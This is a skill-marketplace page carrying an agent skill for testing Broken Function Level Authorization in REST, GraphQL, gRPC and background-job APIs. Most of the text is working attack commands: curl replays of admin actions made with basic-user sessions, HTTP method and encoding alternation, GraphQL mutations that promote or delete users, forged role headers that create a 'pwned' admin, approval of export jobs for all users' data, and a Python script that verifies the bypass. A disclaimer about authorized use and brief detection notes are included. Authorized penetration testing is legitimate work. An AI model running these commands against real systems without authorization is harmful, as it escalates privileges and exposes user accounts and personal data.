# Bfla

> Broken Function Level Authorization (BFLA) — exploit action-level access control failures where lower-privileged principals invoke admin/staff functions across REST, GraphQL, gRPC, WebSocket, and background job paths.

- Skill: `purpleailab/bfla` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/bfla`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/bfla/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/bfla

---


# Broken Function Level Authorization (BFLA)

BFLA is an action-level access control failure: a lower-privileged principal successfully invokes a function (HTTP endpoint, GraphQL mutation, gRPC method, WebSocket event, background job action) that should be restricted to a higher-privileged role. It is distinct from IDOR (T1190 object-level) — the surface here is the *action itself*, not the object ID. Enforcement must bind actor to action at every transport layer and every service boundary, not just at the UI or API gateway.

**Authorized use only.** Only test systems you are explicitly authorized to assess. Privilege escalation in production without authorization is a crime in most jurisdictions.

## Attack Surface

- REST/JSON admin endpoints hidden from the UI but still live on the server
- GraphQL mutations and admin fields absent from the published schema but introspectable
- gRPC methods listed via server reflection that bypass gateway checks
- WebSocket events where only the handshake was authorized
- Background job create/finalize/approve endpoints that re-use session but skip role checks
- Internal microservice RPCs reachable via SSRF or exposed routing
- Feature flags enforced client-side / at edge but not at the core service

## High-Value Actions

- Role/permission assignment, user impersonation, sudo/su endpoints
- Refund, credit issuance, price override, order void/cancel
- Export/bulk-download of all user data or PII
- Account suspension, deletion, reactivation, verification override
- Feature flag toggle, quota/grant adjustment, seat/license change
- 2FA reset, email-change bypass, password-reset initiation for arbitrary accounts
- Admin console CRUD (create user, delete user, assign group)

## Reconnaissance

### Build the Actor x Action Matrix

Before fuzzing, enumerate the roles and their expected actions:

```bash
# Capture all endpoints from JS bundles, API spec, and crawl
# Extract role-specific API paths from the frontend
curl -s https://<TARGET>/static/main.js | grep -oE '"/api/[^"]*"' | sort -u
curl -s https://<TARGET>/openapi.json 2>/dev/null | python3 -c "
import sys,json
spec = json.load(sys.stdin)
for path,methods in spec.get('paths',{}).items():
    for method,info in methods.items():
        tags = info.get('tags',[]) + info.get('x-roles',[]) + info.get('security',[])
        print(method.upper(), path, tags)
" 2>/dev/null
```

For each discovered endpoint, note: HTTP method, expected minimum role, whether it appears in the UI for non-admin users.

### Obtain Sessions for Each Role

```bash
# Register/obtain sessions for: unauthenticated, basic user, premium, staff, admin
# Store cookies/tokens for each role
curl -s -c unauthenticated.jar https://<TARGET>/api/me
curl -s -c basic.jar -X POST https://<TARGET>/login -d 'user=basic&pass=<pass>'
curl -s -c admin.jar  -X POST https://<TARGET>/login -d 'user=admin&pass=<pass>'
```

### Signals That BFLA Is Present

- Endpoint returns 200 for a lower-role token where 403/401 is expected
- Different HTTP methods on the same path have inconsistent enforcement (GET allowed, POST blocked — but PATCH is not)
- Admin endpoints return a different error code (404 vs 403) — "security through obscurity" that still processes the request
- Background job endpoints return 200 with a task ID even for non-admin callers
- GraphQL mutation returns data when sent from a basic-user token

## Testing Methodology

### Step 1: Baseline with Admin Token

Confirm each target action succeeds with the highest-privilege token first. This rules out the action being broken for everyone.

```bash
# Example: create a user as admin
curl -s -b admin.jar -X POST https://<TARGET>/api/admin/users \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser","role":"admin"}' | tee bfla_admin_baseline.txt
```

### Step 2: Replay with Lower-Privilege Token

Replay the identical request with the basic-user or unauthenticated token. Same path, same method, same body.

```bash
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser2","role":"admin"}' | tee bfla_basic_replay.txt

# Diff: admin got 201 Created, basic should get 403
diff bfla_admin_baseline.txt bfla_basic_replay.txt
```

**Win condition:** basic-user request returns 200/201/204 (or produces a durable state change verified by subsequent GET) when the admin baseline returned 201.

### Step 3: Method Alternation

Many frameworks register route handlers per-method independently. An admin-only POST may have an unguarded PUT/PATCH/DELETE.

```bash
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
  echo -n "$method: "
  curl -s -o /dev/null -w "%{http_code}" -b basic.jar \
    -X "$method" https://<TARGET>/api/admin/users/1 \
    -H 'Content-Type: application/json' \
    -d '{"role":"admin"}'
  echo
done
```

Look for: method returning 200/204 where others return 403. Also try `X-HTTP-Method-Override: DELETE` on a POST request.

### Step 4: Transport / Encoding Alternation

```bash
# JSON vs form-encoded (different middleware chains in some frameworks)
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/promote \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'user_id=2&role=admin'

# Try path with/without trailing slash (different route matches in some routers)
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users/
```

### Step 5: GraphQL Mutations

```bash
# Attempt admin mutation with a basic-user token
curl -s -b basic.jar -X POST https://<TARGET>/graphql \
  -H 'Content-Type: application/json' \
  -d '{
    "query": "mutation { updateUser(id: 2, role: ADMIN) { id role } }"
  }' | tee bfla_graphql.txt

# Use aliases to batch privileged mutations and observe which succeed
curl -s -b basic.jar -X POST https://<TARGET>/graphql \
  -H 'Content-Type: application/json' \
  -d '{
    "query": "mutation { a: deleteUser(id: 3) { id } b: promoteUser(id: 2, role: ADMIN) { id role } }"
  }'
```

### Step 6: Background Jobs and Webhooks

Job-create endpoints are often allowed for all users; finalize/approve are not guarded independently:

```bash
# Create job as basic user (allowed)
JOB_ID=$(curl -s -b basic.jar -X POST https://<TARGET>/api/export \
  -H 'Content-Type: application/json' \
  -d '{"type":"all_users"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['job_id'])")

# Finalize/approve job as basic user (should be 403)
curl -s -b basic.jar -X POST https://<TARGET>/api/export/$JOB_ID/approve \
  | tee bfla_job_approve.txt
```

### Step 7: Header Trust Bypass

Some backends trust identity headers injected by a gateway/proxy. Supply conflicting headers:

```bash
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \
  -H 'X-User-Role: admin' \
  -H 'X-Forwarded-User: admin' \
  -H 'X-Auth-Role: staff' \
  -H 'Content-Type: application/json' \
  -d '{"username":"pwned","role":"admin"}'
```

## Verification

A confirmed BFLA finding requires:

1. **Baseline contrast:** admin token → 200/201; basic token → 200/201 (should be 403)
2. **Durable state change:** subsequent GET or audit log confirms the privileged action persisted
3. **Minimal repro:** single request that demonstrates the bypass (no intermediary steps)

```python
import requests

TARGET = "https://<TARGET>"
BASIC = {"session": "<basic_session_cookie>"}
ADMIN = {"session": "<admin_session_cookie>"}

# Baseline: admin can promote
r_admin = requests.post(f"{TARGET}/api/admin/users", cookies=ADMIN,
                        json={"username": "probe", "role": "admin"}, timeout=5)
assert r_admin.status_code in (200, 201), f"Admin baseline failed: {r_admin.status_code}"

# BFLA: basic can too?
r_basic = requests.post(f"{TARGET}/api/admin/users", cookies=BASIC,
                        json={"username": "bfla_probe", "role": "admin"}, timeout=5)
print(f"BFLA result: {r_basic.status_code} {r_basic.text[:200]}")

# Confirm durable state
me = requests.get(f"{TARGET}/api/users/bfla_probe", cookies=BASIC, timeout=5).json()
print(f"Role in DB: {me.get('role')}")  # should be 'admin' if BFLA succeeded
```

## gRPC-Specific Testing

```bash
# List methods via server reflection
grpc_cli ls <TARGET>:443 --l  # requires grpc_cli

# Call admin method with basic-user token
grpcurl -H "Authorization: Bearer <basic_token>" \
  -d '{"user_id": 2, "role": "ADMIN"}' \
  <TARGET>:443 com.example.AdminService/PromoteUser
```

## Common Framework Weaknesses

| Framework | Pattern | Gap |
|-----------|---------|-----|
| Express/Node | `router.post('/admin', adminMiddleware)` missing on `router.put` | Method alternation bypass |
| Django DRF | `permission_classes = [IsAdmin]` set at ViewSet but missing on action-level `@action` | Custom action without permission decorator |
| Spring Security | `antMatchers("/admin/**").hasRole("ADMIN")` but `/admin` (no slash) not matched | Trailing-slash bypass |
| FastAPI | Dependency injection on route but not on background task handler | Background task runs with no caller |
| GraphQL (generic) | Top-level query auth but resolver-level checks absent | Nested mutation bypass |

## ATT&CK Mapping

- T1190 — Exploit Public-Facing Application (initial access via unguarded admin endpoint)
- T1078.001 — Valid Accounts: Default Accounts (when function-level bypass yields admin account creation)
- T1548 — Abuse Elevation Control Mechanism (privilege escalation via unguarded elevation endpoint)

## Detection Notes

Defenders should look for: a non-admin session token successfully invoking `/admin/` or `/staff/` paths (log the 200 response code alongside the token's role claim), unexpected role changes in audit logs, and GraphQL mutations from non-staff tokens that modify privileged fields.

## Output Files

```
./
├── bfla_admin_baseline.txt        # Proof admin action succeeds
├── bfla_basic_replay.txt          # Proof basic-user bypass succeeds
├── bfla_<endpoint>_evidence.txt   # Durable state-change proof (GET after write)
└── bfla_summary.md                # Matrix of tested actions, methods, transports, results
```

